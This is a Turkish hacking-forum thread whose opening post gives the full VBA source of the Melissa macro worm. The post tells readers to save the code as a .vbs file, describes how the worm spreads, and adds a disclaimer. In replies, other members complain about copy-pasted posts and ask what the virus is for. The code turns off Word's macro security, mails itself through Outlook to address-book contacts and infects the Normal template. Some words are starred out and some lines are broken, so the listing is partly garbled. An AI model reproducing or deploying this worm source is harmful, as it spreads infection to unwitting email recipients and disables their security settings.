THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

/ Melissa Virüsü [CODE] // Roper2534 Den

roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Konular:
492
Teşekkür (Etti):
278
Teşekkür (Aldı):
91
Ticaret:
(0) %
14
2197
11-11-2016 20:32
#1
Not defterini açıyoruz ve oraya bu kodu yazıyoruz yazdıktan sonra Farklı Kaydet diyoruz fakat bunu .vbs uzantısı ile kaydediyoruz


Nedir Melissa Virüsü?

Melissa bir Word 97 makro (macro) virüsü. Oldukça tehlikeli bir virüs, çünkü e-mail yoluyla çok hızlı olarak yayılabiliyor. Word 97 dökümanlarına ve Word 97 ile Word 2000&l8217;in NORMAL.DOT dosyasına bulaşıyor. Virüsün kodu Melissa isimli bir makro bulunduğundan bu adla anılıyor.

Diğer İsimleri Nelerdir?
Basında "***** Virüsü" olarak da tanınmasının nedeni pek çok kişiye *****grafik içerikli sitelerden gönderilen e-mail&l8217;ler sonucu bulaşmasından kaynaklanıyor. Ayrıca W97M/Melissa, Kwyjibo isimleriyle de tanınıyor.

Nasıl Bulaşıyor?
Melissa virüsü bulaşmış bir Word dökümanını ilk kez çalıştırdığınızda virüs, sistemde MS Outlook olup, olmadığını kontrol ediyor. Eğer varsa adres defterinde (address book) yer alan 50 e-mail hesabına (account) mektup göndererek yayılıyor.
Virüs tarafınfan gönderilen mektupların "subject" kısmı şu şekilde oluyor: "Important Message From (virüsün bulunduğu bilgisayarın sahibinin adı)". Mektubun "bOdy" kısmında yani içeriğinde ise "Here is that ******** you asked for ... don&l8217;t show anyone else :-)" yazılı. Virüslü Word dökümanu bu mektuba iliştiriliyor ve açıldığı zaman yine 50 kişiye kendisine gönderiyor. Bu böyle döngü içinde geliştiğinden çok kısa bir süre içinde inanılmaz bir hızla yayılabiliyor. E-mail metodu ile kendisini klonlamayı sadece virüslü döküman ilk çalıştırıldığında yapıyor. Eğer bilgisayarınızda virüslü bir döküman varsa Windows Registry&l8217;e baktığınız zaman şu satırı görebilirsiniz:
"HKEY_CURRENT_USER&l92;&l92;Software&l92;&l92; Micr osoft&l92;&l92;Office&l92;&l92;Melissa?". Virüs, e-mail ile başka adreslere ulaştıktan sonra bu anahtar değere ". . . by Kwyjibo" ekleniyor.
Eğer virüs registry&l8217;de bu ibareye rastlarsa e-mail kullanarak kendisini başkalarına göndermiyor. Bir de eğer sistemde Outlook yoksa virüs yine kopyalama işlemine başlamıyor. Bununla birlikte virüsün bulaştığı bilgisayarda açılan tüm Word dosyalarına bulaşıyor (diğer Word 97 virüsleri gibi).

Etkileri Neler?
Yaptığı en önemli iş e-mail yoluyla çok hızlı bir şekilde yayılması. Bunun dışında ayrıca eğer dakika o günkü tarihle uyuşuyorsa (mesela saat 9:30 ise ve günlerden de ayın 30&l8217;u ise) metine şöyle bir tümce ekliyor : "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game&l8217;s over. I&l8217;m outta here. "


*** Not Sakin Kendi Üzerinde Denemeyiniz
Bu Sorumlluk Kendinize
THT VE roper2534 SORUMLU DEGILDIR

Kod:
Private Sub ********_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") =
False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over. 
I'm outta here."
End Sub
--------------------- l]
Konu roper2534 tarafından (19-03-2017 21:11 Saat 21:11 ) değiştirilmiştir.
BloodyDanger - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2016
Nereden:
Leipzig
Yaş:
26
Mesajlar:
501
Konular:
30
Teşekkür (Etti):
17
Teşekkür (Aldı):
42
Ticaret:
(0) %
11-11-2016 20:33
#2
Kardeşim internete girip kopyala yapıştır yapıyorsun 30 dk da 10 konu açtın. Ve aynı konu var.

http://www.turkhackteam.org/trojan-v...u-kodlari.html
--------------------- "Bana, insanlar üstünde bir doğuş yüklemeye kalkışmayınız. Doğuşum da ki tek olağanüstülük, Türk olarak dünyaya gelmemdir."

Gazi Mustafa Kemal Atatürk
ByLamer1604 - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
10/2015
Mesajlar:
240
Konular:
35
Teşekkür (Etti):
32
Teşekkür (Aldı):
11
Ticaret:
(0) %
11-11-2016 20:35
#3
Virüs hakkında bilgi verirseniz daha iyi olur
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Konular:
492
Teşekkür (Etti):
278
Teşekkür (Aldı):
91
Ticaret:
(0) %
11-11-2016 20:35
#4
Alıntı:
BloodyDanger´isimli üyeden Alıntı Mesajı göster
Kardeşim internete girip kopyala yapıştır yapıyorsun 30 dk da 10 konu açtın.
Kopayala Degil Alinti Ve Userinde Degisiklik Yapiyorum Zaten BUQ SAYEDE YARALANIYORUZ
--------------------- l]
BadBOoY - ait Kullanıcı Resmi (Avatar)
Tamamen Askıya Alındı
Üyelik tarihi:
02/2015
Nereden:
Vatan
Mesajlar:
466
Konular:
28
Teşekkür (Etti):
9
Teşekkür (Aldı):
144
Ticaret:
(0) %
11-11-2016 20:36
#5
Bence bu virüs nedir ne işe yarar ?
Nelere zarar verir bi acıklama yaparsan iyi olur
BloodyDanger - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2016
Nereden:
Leipzig
Yaş:
26
Mesajlar:
501
Konular:
30
Teşekkür (Etti):
17
Teşekkür (Aldı):
42
Ticaret:
(0) %
11-11-2016 20:36
#6
Alıntı:
roper2534´isimli üyeden Alıntı Mesajı göster
Kopayala Degil Alinti Ve Userinde Degisiklik Yapiyorum Zaten BUQ SAYEDE YARALANIYORUZ

Post kasmak için açıyorsun konuyu. Biraz incele hep var olan konulardan açıyorsun.
--------------------- "Bana, insanlar üstünde bir doğuş yüklemeye kalkışmayınız. Doğuşum da ki tek olağanüstülük, Türk olarak dünyaya gelmemdir."

Gazi Mustafa Kemal Atatürk
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Konular:
492
Teşekkür (Etti):
278
Teşekkür (Aldı):
91
Ticaret:
(0) %
11-11-2016 20:43
#7
Alıntı:
BloodyDanger´isimli üyeden Alıntı Mesajı göster
Post kasmak için açıyorsun konuyu. Biraz incele hep var olan konulardan açıyorsun.
HOCAM
NE INCLIYORUM
HE BOle yaparak Hep eskide geliyoruz daha guncel Yeni
--------------------- l]
BloodyDanger - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2016
Nereden:
Leipzig
Yaş:
26
Mesajlar:
501
Konular:
30
Teşekkür (Etti):
17
Teşekkür (Aldı):
42
Ticaret:
(0) %
11-11-2016 20:44
#8
Alıntı:
roper2534´isimli üyeden Alıntı Mesajı göster
HOCAM
NE INCLIYORUM
HE BOle yaparak Hep eskide geliyoruz daha guncel Yeni
Bixi gibisin mübarek. son 1 saatte açtığın konuları incele
--------------------- "Bana, insanlar üstünde bir doğuş yüklemeye kalkışmayınız. Doğuşum da ki tek olağanüstülük, Türk olarak dünyaya gelmemdir."

Gazi Mustafa Kemal Atatürk
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Konular:
492
Teşekkür (Etti):
278
Teşekkür (Aldı):
91
Ticaret:
(0) %
11-11-2016 20:50
#9
Alıntı:
BloodyDanger´isimli üyeden Alıntı Mesajı göster
Bixi gibisin mübarek. son 1 saatte açtığın konuları incele
en fazla 8
--------------------- l]
Dj-DeLiKaN - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
12/2008
Nereden:
Karadeniz
Yaş:
33
Mesajlar:
818
Konular:
223
Teşekkür (Etti):
166
Teşekkür (Aldı):
92
Ticaret:
(0) %
19-03-2017 20:55
#10
Binbaşım bu virüs ne işe yarıyor? Kendi üzerimizde denemeyelim de karşı tarafa ne amaçla deneyelim? Alıntı yada kopyala yapıştır yapmana bir şey demiyorum ben. Ancak açtığımız konuların ne işe yaradığını bir anlatalım.
--------------------- En az benim kadar inatçı bir umudum var. Ben vazgeçsem, o vazgeçmiyor benden.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler